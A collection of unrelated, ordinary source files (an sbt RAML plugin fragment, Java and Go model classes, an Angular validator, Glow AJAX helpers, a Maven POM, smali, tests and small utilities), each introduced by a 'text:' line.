  val ramlBasePackageName = SettingKey[String]("raml-base-package-name", "Base package name used for generated Java classes.")
  val ramlJaxrsVersion = SettingKey[String]("raml-jaxrs-version", "The targeted JAX-RS version: either \"1.1\" or \"2.0\".")
  val ramlUseJsr303Annotations = SettingKey[Boolean]("raml-use-jsr303-annotations", "Should JSR-303 annotations be used?")
  val ramlJsonMapper = SettingKey[String]("raml-json-mapper", "The JSON object mapper to generate annotations to: either \"jackson1\", \"jackson2\" or \"gson\" or \"none\".")

  val ramlGenHtml = TaskKey[Unit]("raml-gen-html", "Outputs a single HTML page console based on a RAML definition using the raml2html documentation generator.")
  val ramlHtmlFilename = SettingKey[String]("raml-html-filename", "The name of the generated HTML file.")
  val ramlHtmlCmd = SettingKey[Seq[String]]("raml-html-cmd", "The raml2html command line utility.")

  def generateSources(outputDirectory: File, sourceDirectory: File, ramlFile: File, basePackageName: String, jaxrsVersion: JaxrsVersion, useJsr303Annotations: Boolean, jsonMapper: AnnotationStyle): Seq[File] = {
    outputDirectory.mkdirs()
    val configuration = new org.raml.jaxrs.codegen.core.Configuration()
    configuration.setOutputDirectory(outputDirectory)
    configuration.setSourceDirectory(sourceDirectory)
    configuration.setBasePackageName(basePackageName)
    configuration.setJaxrsVersion(jaxrsVersion)
    configuration.setUseJsr303Annotations(useJsr303Annotations)
    configuration.setJsonMapper(jsonMapper)
    val ramlReader = new InputStreamReader(new FileInputStream(ramlFile))
    val files = new Generator().run(ramlReader, configuration)
    files map { file =>
      new File(outputDirectory, file)
    } toSeq
  }

  def generateHtml(cmd: Seq[String], in: File, out: File) = {
    out.getParentFile.mkdirs()
    (cmd ++ Seq("-i", in.getAbsolutePath, "-o", out.getAbsolutePath)).!
  }

  val ramlBaseSettings = Seq(
    ramlFilename := "api.raml",
    ramlSourceDirectory := sourceDirectory.value / "main" / "raml",
    unmanagedResourceDirectories in Compile += ramlSourceDirectory.value
  )

  val ramlJaxrsSettings = ramlBaseSettings ++ Seq(
    ramlJaxrsVersion := "2.0",
    ramlJsonMapper := "jackson2",
    ramlUseJsr303Annotations := false,
    sourceGenerators in Compile <+= (Def.task { generateSources(
      ramlFile = ramlSourceDirectory.value / ramlFilename.value,
      outputDirectory = (sourceManaged in Compile).value / "raml-jaxrs",
      sourceDirectory = ramlSourceDirectory.value,
      basePackageName = ramlBasePackageName.value,
      jaxrsVersion = JaxrsVersion.fromAlias(ramlJaxrsVersion.value),
      useJsr303Annotations = ramlUseJsr303Annotations.value,
      jsonMapper = AnnotationStyle.valueOf(ramlJsonMapper.value.toUpperCase())
    )})
  )

  val ramlGenHtmlSettings = ramlBaseSettings ++ Seq(
    ramlHtmlCmd := Seq("raml2html"),
    ramlHtmlFilename := "api.html",
    ramlGenHtml := {
      generateHtml(ramlHtmlCmd.value, ramlSourceDirectory.value / ramlFilename.value, target.value / "raml" / ramlHtmlFilename.value)
    }
  )

  val ramlSettings = ramlBaseSettings ++ ramlJaxrsSettings ++ ramlGenHtmlSettings
}


text:
package com.github.s4ke.moar.moa.states;

import java.util.Map;

import com.github.s4ke.moar.strings.EfficientString;

/**
 * This represents a Variable State in a Memory Occurence Automaton
 *
 * @author Martin Braun
 */
public class VariableState implements State {

	private final int idx;
	private final String variableName;

	public VariableState(int idx, String variableName) {
		this.idx = idx;
		this.variableName = variableName;
	}

	public String getVariableName() {
		return this.variableName;
	}

	@Override
	public int getIdx() {
		return this.idx;
	}

	@Override
	public EfficientString getEdgeString(Map<String, Variable> variables) {
		return variables.get( this.variableName ).getEdgeString();
	}

	@Override
	public boolean canConsume(EfficientString string) {
		throw new UnsupportedOperationException();
	}

	@Override
	public boolean canConsume(MatchInfo matchInfo) {
		throw new UnsupportedOperationException();
	}

	@Override
	public boolean isStatic() {
		return false;
	}

	@Override
	public boolean isSet() {
		return false;
	}

	@Override
	public boolean isVariable() {
		return true;
	}

	@Override
	public boolean isBound() {
		return false;
	}

	@Override
	public String toString() {
		return "VariableState{" +
				"idx=" + idx +
				", variableName=" + variableName +
				'}';
	}

	@Override
	public boolean equals(Object o) {
		if ( this == o ) {
			return true;
		}
		if ( o == null || getClass() != o.getClass() ) {
			return false;
		}

		VariableState that = (VariableState) o;

		if ( idx != that.idx ) {
			return false;
		}
		return !(variableName != null ? !variableName.equals( that.variableName ) : that.variableName != null);

	}

}


text:
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
	<modelVersion>4.0.0</modelVersion>

	<parent>
		<artifactId>failurous-java</artifactId>
		<groupId>com.failurous</groupId>
		<version>0.1-SNAPSHOT</version>
	</parent>

	<groupId>com.failurous</groupId>
	<artifactId>failurous-java-spring</artifactId>
	<name>Failurous Java Client Spring Integration</name>

	<dependencies>
		<dependency>
			<groupId>com.failurous</groupId>
			<artifactId>failurous-java-core</artifactId>
			<version>${project.parent.version}</version>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-aop</artifactId>
			<version>3.0.4.RELEASE</version>
		</dependency>
		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-context</artifactId>
			<version>3.0.4.RELEASE</version>
		</dependency>
		<dependency>
			<groupId>org.aspectj</groupId>
			<artifactId>aspectjrt</artifactId>
			<version>1.6.9</version>
		</dependency>
		<dependency>
			<groupId>org.aspectj</groupId>
			<artifactId>aspectjweaver</artifactId>
			<version>1.6.9</version>
			<scope>runtime</scope>
		</dependency>
		<dependency>
			<groupId>cglib</groupId>
			<artifactId>cglib</artifactId>
			<version>2.2</version>
			<scope>runtime</scope>
		</dependency>
	</dependencies>

</project>


text:
import {isDevMode} from '@angular/core';

import {BaseException} from '../src/facade/exceptions';
import {isArray, isBlank, isString} from '../src/facade/lang';

export function assertArrayOfStrings(identifier: string, value: any) {
  if (!isDevMode() || isBlank(value)) {
    return;
  }
  if (!isArray(value)) {
    throw new BaseException(`Expected '${identifier}' to be an array of strings.`);
  }
  for (var i = 0; i < value.length; i += 1) {
    if (!isString(value[i])) {
      throw new BaseException(`Expected '${identifier}' to be an array of strings.`);
    }
  }
}

const INTERPOLATION_BLACKLIST_REGEXPS = [
  /^\s*$/,        // empty
  /[<>]/,         // html tag
  /^[{}]$/,       // i18n expansion
  /&(#|[a-z])/i,  // character reference
];

export function assertInterpolationSymbols(identifier: string, value: any): void {
  if (isDevMode() && !isBlank(value) && (!isArray(value) || value.length != 2)) {
    throw new BaseException(`Expected '${identifier}' to be an array, [start, end].`);
  } else if (isDevMode() && !isBlank(value)) {
    const start = value[0] as string;
    const end = value[1] as string;
    // black list checking
    INTERPOLATION_BLACKLIST_REGEXPS.forEach(regexp => {
      if (regexp.test(start) || regexp.test(end)) {
        throw new BaseException(`['${start}', '${end}'] contains unusable interpolation symbol.`);
      }
    });
  }
}


text:
/**
	@name glow.net
	@namespace
	@description Methods for getting data & resources from other locations. Sometimes referred to as AJAX.
*/
Glow.provide(function(glow) {
	var net = {},
		undefined,
		emptyFunc = function(){};

	/**
		@private
		@function
		@description Create XhrRequest factory methods

		@param {string} method HTTP method
		@returns {function} Factory method
	*/
	function createXhrFactory(method) {
		return function(url, data, opts) {
			// only put & post use the data param
			if (method === 'POST' || method === 'PUT') {
				opts = opts || {};
				opts.data = data;
			}
			else {
				opts = data;
			}

			return new net.XhrRequest(method, url, opts);
		}
	}

	/**
		@name glow.net.get
		@function
		@description Makes an HTTP GET request to a given url.
			This is a shortcut to creating an instance of {@link glow.net.XhrRequest}.

		@param {string} url Url to make the request to.
			This can be a relative path. You cannot make requests for files on
			other domains (including sub-domains). For cross-domain requests, see
			{@link glow.dom.getJsonp} and {@link glow.dom.crossDomainGet}.
		@param {Object} [opts] Options.
			These options are the same as the constructor options for {@link glow.net.XhrRequest}.

		@returns {glow.net.XhrRequest}

		@example
			glow.net.get('myFile.html').on('load', function(response){
				alert( 'Got file:' + response.text() );
			}).on('error', function(response){
				alert( 'Something went wrong:' + response.text() );
			});

	*/
	net.get = createXhrFactory('GET');

	/**
		@name glow.net.post
		@function
		@description Makes an HTTP POST request to a given url
			This is a shortcut to creating an instance of {@link glow.net.XhrRequest}.

		@param {string} url Url to make the request to.
			This can be a relative path. You cannot make requests for files on
			other domains (including sub-domains). For cross-domain requests, see
			{@link glow.dom.getJsonp} and {@link glow.dom.crossDomainGet}.
		@param {Object|String} data Data to send.
			This can be either a JSON-style object or a urlEncoded string.
		@param {Object} [opts] Options.
			These options are the same as the constructor options for {@link glow.net.XhrRequest}.

		@returns {glow.net.XhrRequest}

		@example
			glow.net.post('myFile.html', {
				key: 'value',
				otherkey: ['value1', 'value2']
			}).on('load', function(response) {
				alert( 'Got file:' + response.text() );
			});
	*/
	net.post = createXhrFactory('POST');

	/**
		@name glow.net.put
		@function
		@description Makes an HTTP PUT request to a given url
			This is a shortcut to creating an instance of {@link glow.net.XhrRequest}.

		@param {string} url Url to make the request to.
			This can be a relative path. You cannot make requests for files on
			other domains (including sub-domains). For cross-domain requests, see
			{@link glow.dom.getJsonp} and {@link glow.dom.crossDomainGet}.
		@param {Object|String} data Data to send.
			This can be either a JSON-style object or a urlEncoded string.
		@param {Object} [opts] Options.
			These options are the same as the constructor options for {@link glow.net.XhrRequest}.

		@returns {glow.net.XhrRequest}

		@example
			glow.net.put('myFile.html', {
				key: 'value',
				otherkey: ['value1', 'value2']
			}).on('load', function(response) {
				// handle response
			});
	*/
	net.put = createXhrFactory('PUT');

	/**
		@name glow.net.del
		@function
		@description Makes an HTTP DELETE request to a given url.
			This is a shortcut to creating an instance of {@link glow.net.XhrRequest}.

		@param {string} url Url to make the request to.
			This can be a relative path. You cannot make requests for files on
			other domains (including sub-domains). For cross-domain requests, see
			{@link glow.dom.getJsonp} and {@link glow.dom.crossDomainGet}.
		@param {Object} [opts] Options.
			These options are the same as the constructor options for {@link glow.net.XhrRequest}.

		@returns {glow.net.XhrRequest}

		@example
			glow.net.del('myFile.html').on('load', function(response) {
				// handle response
			});
	*/

	net.del = createXhrFactory('DELETE');

	// export
	glow.net = net;
});


text:
using Microsoft.Web.Administration;

namespace TestEasy.WebServer
{
    public interface IServerManagerProvider
    {
        ServerManager GetServerManager(string configPath);
        void CommitChanges();
    }
}


text:
Word analysis Comparing Republican and Democratic Presidential Debates 2015

##A key problem
A key problem with current political discourse in the US is the widening divide between political parties. While superficially this seems like a disagreement on what to do, a more fundamental problem I believe is an emerging dissonance in the "why" to do something. The disagreement is not just about means to an end, but about the ends themselves.

##This anlaysis
This analysis looks at the texts of receent Presidential Debates to emphaisze these differences.

##The Data
Transcribed[Presidential Debates](http://www.presidency.ucsb.edu/) are available online.


text:
package controller

import (
	"testing"

	metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
	"k8s.io/apimachinery/pkg/runtime"
	"k8s.io/apimachinery/pkg/runtime/schema"
	kapi "k8s.io/kubernetes/pkg/api"
	"k8s.io/kubernetes/pkg/controller"
	kresourcequota "k8s.io/kubernetes/pkg/controller/resourcequota"

	imageapi "github.com/openshift/origin/pkg/image/apis/image"
)

// testReplenishment lets us test replenishment functions are invoked
type testReplenishment struct {
	groupKind schema.GroupKind
	namespace string
}

// mock function that holds onto the last kind that was replenished
func (t *testReplenishment) Replenish(groupKind schema.GroupKind, namespace string, object runtime.Object) {
	t.groupKind = groupKind
	t.namespace = namespace
}

func TestImageStreamReplenishmentUpdateFunc(t *testing.T) {
	for _, tc := range []struct {
		name           string
		oldISStatus    imageapi.ImageStreamStatus
		newISStatus    imageapi.ImageStreamStatus
		expectedUpdate bool
	}{
		{
			name:           "empty",
			expectedUpdate: false,
		},
		{
			name: "no change",
			oldISStatus: imageapi.ImageStreamStatus{
				Tags: map[string]imageapi.TagEventList{
					"foo": {
						Items: []imageapi.TagEvent{
							{DockerImageReference: "foo-ref"},
						},
					},
				},
			},
			newISStatus: imageapi.ImageStreamStatus{
				Tags: map[string]imageapi.TagEventList{
					"foo": {
						Items: []imageapi.TagEvent{
							{DockerImageReference: "foo-ref"},
						},
					},
				},
			},
			expectedUpdate: false,
		},
		{
			name: "first image stream tag",
			newISStatus: imageapi.ImageStreamStatus{
				Tags: map[string]imageapi.TagEventList{
					"latest": {
						Items: []imageapi.TagEvent{
							{DockerImageReference: "latest-ref"},
							{DockerImageReference: "older"},
						},
					},
				},
			},
			expectedUpdate: true,
		},
		{
			name: "image stream tag event deleted",
			oldISStatus: imageapi.ImageStreamStatus{
				Tags: map[string]imageapi.TagEventList{
					"latest": {
						Items: []imageapi.TagEvent{
							{DockerImageReference: "latest-ref"},
							{DockerImageReference: "older"},
						},
					},
				},
			},
			newISStatus: imageapi.ImageStreamStatus{
				Tags: map[string]imageapi.TagEventList{
					"latest": {
						Items: []imageapi.TagEvent{
							{DockerImageReference: "latest-ref"},
						},
					},
				},
			},
			expectedUpdate: true,
		},
	} {
		mockReplenish := &testReplenishment{}
		options := kresourcequota.ReplenishmentControllerOptions{
			GroupKind:         kapi.Kind("ImageStream"),
			ReplenishmentFunc: mockReplenish.Replenish,
			ResyncPeriod:      controller.NoResyncPeriodFunc,
		}
		oldIS := &imageapi.ImageStream{
			ObjectMeta: metav1.ObjectMeta{Namespace: "test", Name: "is"},
			Status:     tc.oldISStatus,
		}
		newIS := &imageapi.ImageStream{
			ObjectMeta: metav1.ObjectMeta{Namespace: "test", Name: "is"},
			Status:     tc.newISStatus,
		}
		updateFunc := ImageStreamReplenishmentUpdateFunc(&options)
		updateFunc(oldIS, newIS)
		if tc.expectedUpdate {
			if mockReplenish.groupKind != kapi.Kind("ImageStream") {
				t.Errorf("[%s]: Unexpected group kind %v", tc.name, mockReplenish.groupKind)
			}
			if mockReplenish.namespace != oldIS.Namespace {
				t.Errorf("[%s]: Unexpected namespace %v", tc.name, mockReplenish.namespace)
			}
		} else {
			if mockReplenish.groupKind.Group != "" || mockReplenish.groupKind.Kind != "" || mockReplenish.namespace != "" {
				t.Errorf("[%s]: Update function unexpectedly called on %s in namespace %s", tc.name, mockReplenish.groupKind, mockReplenish.namespace)
			}
		}
	}
}


text:
.class Landroid/support/v7/widget/PositionMap$ContainerHelpers;
.super Ljava/lang/Object;
.source "PositionMap.java"

# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
    value = Landroid/support/v7/widget/PositionMap;
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
    accessFlags = 0x8
    name = "ContainerHelpers"
.end annotation

# static fields
.field static final EMPTY_BOOLEANS:[Z

.field static final EMPTY_INTS:[I

.field static final EMPTY_LONGS:[J

.field static final EMPTY_OBJECTS:[Ljava/lang/Object;

# direct methods
.method static constructor <clinit>()V
    .locals 2

    const/4 v1, 0x0

    new-array v0, v1, [Z

    sput-object v0, Landroid/support/v7/widget/PositionMap$ContainerHelpers;->EMPTY_BOOLEANS:[Z

    new-array v0, v1, [I

    sput-object v0, Landroid/support/v7/widget/PositionMap$ContainerHelpers;->EMPTY_INTS:[I

    new-array v0, v1, [J

    sput-object v0, Landroid/support/v7/widget/PositionMap$ContainerHelpers;->EMPTY_LONGS:[J

    new-array v0, v1, [Ljava/lang/Object;

    sput-object v0, Landroid/support/v7/widget/PositionMap$ContainerHelpers;->EMPTY_OBJECTS:[Ljava/lang/Object;

    return-void
.end method

.method constructor <init>()V
    .locals 0

    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method


text:
package net.dv8tion.jda.internal.managers.channel.concrete;

import net.dv8tion.jda.api.entities.channel.concrete.ForumChannel;
import net.dv8tion.jda.api.managers.channel.concrete.ForumChannelManager;
import net.dv8tion.jda.internal.managers.channel.ChannelManagerImpl;

public class ForumChannelManagerImpl extends ChannelManagerImpl<ForumChannel, ForumChannelManager> implements ForumChannelManager
{
    public ForumChannelManagerImpl(ForumChannel channel)
    {
        super(channel);
    }
}


text:
import { Component } from '@angular/core';

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent {
  title = 'app works!';
  uploadedFiles: string[] = [];

  onUploadFiles(event: CustomEvent) {
    console.log(event);
    const files: File[] = event.detail.files;
    if (files) {
      for (const file of files) {
        this.uploadedFiles.push(file.name);
      }
    }
  }
}


text:
package com.amazonservices.mws.finances.model;

import java.util.List;
import java.util.ArrayList;

import com.amazonservices.mws.client.*;

/**
 * SAFETReimbursementItem complex type.
 *
 * XML schema:
 *
 * <pre>
 * <complexType name="SAFETReimbursementItem">
 *    <complexContent>
 *       <restriction base="{http://www.w3.org/2001/XMLSchema}anyType">
 *          <sequence>
 *             <element name="itemChargeList" type="{http://mws.amazonservices.com/Finances/2015-05-01}ChargeComponent" maxOccurs="unbounded"/>
 *          </sequence>
 *       </restriction>
 *    </complexContent>
 * </complexType>
 * </pre>
 */
public class SAFETReimbursementItem extends AbstractMwsObject {

    private List<ChargeComponent> itemChargeList;

    /**
     * Get the value of itemChargeList.
     *
     * @return The value of itemChargeList.
     */
    public List<ChargeComponent> getItemChargeList() {
        if (itemChargeList==null) {
            itemChargeList = new ArrayList<ChargeComponent>();
        }
        return itemChargeList;
    }

    /**
     * Set the value of itemChargeList.
     *
     * @param itemChargeList
     *            The new value to set.
     */
    public void setItemChargeList(List<ChargeComponent> itemChargeList) {
        this.itemChargeList = itemChargeList;
    }

    /**
     * Clear itemChargeList.
     */
    public void unsetItemChargeList() {
        this.itemChargeList = null;
    }

    /**
     * Check to see if itemChargeList is set.
     *
     * @return true if itemChargeList is set.
     */
    public boolean isSetItemChargeList() {
        return itemChargeList != null && !itemChargeList.isEmpty();
    }

    /**
     * Add values for itemChargeList, return this.
     *
     * @param itemChargeList
     *             New values to add.
     *
     * @return This instance.
     */
    public SAFETReimbursementItem withItemChargeList(ChargeComponent... values) {
        List<ChargeComponent> list = getItemChargeList();
        for (ChargeComponent value : values) {
            list.add(value);
        }
        return this;
    }

    /**
     * Read members from a MwsReader.
     *
     * @param r
     *      The reader to read from.
     */
    @Override
    public void readFragmentFrom(MwsReader r) {
        itemChargeList = r.readList("itemChargeList", "ChargeComponent", ChargeComponent.class);
    }

    /**
     * Write members to a MwsWriter.
     *
     * @param w
     *      The writer to write to.
     */
    @Override
    public void writeFragmentTo(MwsWriter w) {
        w.writeList("itemChargeList", "ChargeComponent", itemChargeList);
    }

    /**
     * Write tag, xmlns and members to a MwsWriter.
     *
     * @param w
     *         The Writer to write to.
     */
    @Override
    public void writeTo(MwsWriter w) {
        w.write("http://mws.amazonservices.com/Finances/2015-05-01", "SAFETReimbursementItem",this);
    }

    /** Default constructor. */
    public SAFETReimbursementItem() {
        super();
    }

}


text:
package space

import "github.com/ecsteam/cloudfoundry-top-plugin/metadata/common"

type SpaceMetadata struct {
	*common.Metadata
	*Space
}

func NewSpaceMetadata(Space Space) *SpaceMetadata {
	return &SpaceMetadata{Metadata: &common.Metadata{}, Space: &Space}
}

func NewSpaceMetadataById(id string) *SpaceMetadata {
	return NewSpaceMetadata(Space{EntityCommon: common.EntityCommon{Guid: id}, Name: id})
}

func (metadataItem *SpaceMetadata) GetName() string {
	return metadataItem.Name
}


text:
import { isString, forOwn } from '../../src/util/underscore'
import * as fs from '../../src/fs/node'
import { resolve } from 'path'

interface FileDescriptor {
  mode: string;
  content: string;
}

let files: { [path: string]: FileDescriptor } = {}
const { readFile, exists, readFileSync, existsSync } = fs

export function mock (options: { [path: string]: (string | FileDescriptor) }) {
  forOwn(options, (val, key) => {
    files[resolve(key)] = isString(val)
      ? { mode: '33188', content: val }
      : val as FileDescriptor
  });
  (fs as any).readFile = async function (path: string) {
    return fs.readFileSync(path)
  };
  (fs as any).readFileSync = function (path: string) {
    const file = files[path]
    if (file === undefined) throw new Error('ENOENT')
    if (file.mode === '0000') throw new Error('EACCES')
    return file.content
  };
  (fs as any).exists = async function (path: string) {
    return fs.existsSync(path)
  };
  (fs as any).existsSync = function (path: string) {
    return !!files[path]
  }
}

export function restore () {
  files = {};
  (fs as any).readFileSync = readFileSync;
  (fs as any).existsSync = existsSync;
  (fs as any).readFile = readFile;
  (fs as any).exists = exists
}


text:
package com.ownedthx.xmldoclet.xmlbindings;

/** Coments on Method */
public class Method
{
    public String name;

    public String qualifiedName;

    public String comment;

    public String signature;

    public String hash;

    public boolean isFinal;

    public boolean isStatic;

    public boolean isNative;

    public boolean isSynchronized;

    public boolean isVarArgs;

    public String scope;

    public Param[] parameters;

    public Result result;

    public ExceptionInstance[] exceptions;

    public AnnotationInstance[] annotationInstances;

}


text:
package org.compass.core;

import org.compass.core.util.NestedRuntimeException;

/**
 * An exception that occured in Compass. All other compass runtime exception
 * derive from it.
 *
 * @author kimchy
 */
public class CompassException extends NestedRuntimeException {

    private static final long serialVersionUID = 4051326725662978866L;

    public CompassException(String string, Throwable root) {
        super(string, root);
    }

    public CompassException(String s) {
        super(s);
    }
}


text:
import { START_NEW_GAME_SUCCESS } from './actionCreators'
import { CONFIGURE_SUCCESS } from '../setup/actionCreators'
import { PLAY_SUCCESS, PAUSE_SUCCESS, RESET_SUCCESS } from '../play/actionCreators'

export default (state='fetching', action) => {
  switch (action.type) {
    case START_NEW_GAME_SUCCESS:
    case CONFIGURE_SUCCESS:
    case PLAY_SUCCESS:
    case PAUSE_SUCCESS:
    case RESET_SUCCESS:
      return action.response.phase

    default:
      return state
  }
}